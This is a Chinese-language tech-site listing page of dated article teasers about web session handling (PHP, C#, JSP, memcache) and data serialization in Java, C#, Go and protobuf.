本教程主要讲解PHP项目如何用实现memcache分布式,配置使用memcache存储session数据,以及memcache的SESSION数据如何同步。 至于Memcache的安装配置,我们就不讲了,以前...2016-11-25- 这篇文章主要介绍了C#中的session用法 ,非常不错,具有一定的参考借鉴价值,需要的朋友可以参考下...2020-06-25
Python3使用Selenium获取session和token方法详解
这篇文章主要介绍了Python3使用Selenium获取session和token方法详解,需要的朋友可以参考下...2021-02-17- 这篇文章主要介绍了解决Golang json序列化字符串时多了\的情况,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-12-24
- session和cookie是网站浏览中较为常见的两个概念,也是比较难以辨析的两个概念,但它们在点击流及基于用户浏览行为的网站分析中却相当关键。基于网上一些文章和资料的参阅,及作者个人的应用体会,对这两个概念做一个简单的阐述...2013-09-11
- session在php中是一个非常重要的东西,像我们用户登录一般都使用到session这个东西,相对于cookie来说session 要安全很多,同时我们购物车经常使用session来做临时的记录保存哦。使用session保存页面登录信息1、数据库连接...2015-10-21
- 这篇文章主要介绍了Vue使用axios引起的后台session不同操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-08-14
- 序列化是一种对象持久化的手段,普遍应用在网络传输、RMI等场景中,这篇文章主要给大家总结介绍了关于java序列化与反序列化的使用方法,文中通过示例代码介绍的非常详细,需要的朋友可以参考下...2021-07-29
- 下面小编就为大家带来一篇protobuf对象二进制序列化存储(详解)。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧...2020-06-25
- PHP的session功能,一直为许多的初学者为难。就连有些老手,有时都被搞得莫名其妙。本文,将这些问题,做一个简单的汇总,以便大家查阅。 1. 错误提示 引用 代...2016-11-25
- 要设置php生存有效时间我们可以利用session_set_cookie_params函数或修改php.ini文件哦,下面小编来介绍一下。 第一种方法:session_set_cookie_params 函数原型 voi...2016-11-25
- 经常看到一些配置文件里面存放的是一些类似带有格式的变量名称和值,其实就是一个序列化的过程,在需要用到这些数据库的时候会进行一个反序列化过程,就是将这个字符串再还原成他原来的数据结构。下面说说php 如何进行数据...2015-10-30
- 这篇文章主要介绍了C#实现的序列化通用类,实例分析了C#序列化与反序列化操作相关技巧,需要的朋友可以参考下...2020-06-25
- 这篇文章主要介绍了C#实现的json序列化和反序列化代码实例,本文讲解了两种实现方法,并直接给出代码示例,需要的朋友可以参考下...2020-06-25
jsp使用sessionScope获取session案例详解
这篇文章主要介绍了jsp使用sessionScope获取session案例详解,本篇文章通过简要的案例,讲解了该项技术的了解与使用,以下就是详细内容,需要的朋友可以参考下...2021-08-29- 这篇文章主要介绍了Jackson 反序列化时实现大小写不敏感设置方式,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教...2021-06-29
- 在这篇文章中,我们将会学到如何使用C#,来序列化对象成为Json格式的数据,以及如何反序列化Json数据到对象。...2020-06-25
- 这篇文章主要介绍了C#中Serializable序列化,以实例形式详细讲述了系列化的技术及各种序列化方法,非常具有实用价值,需要的朋友可以参考下...2020-06-25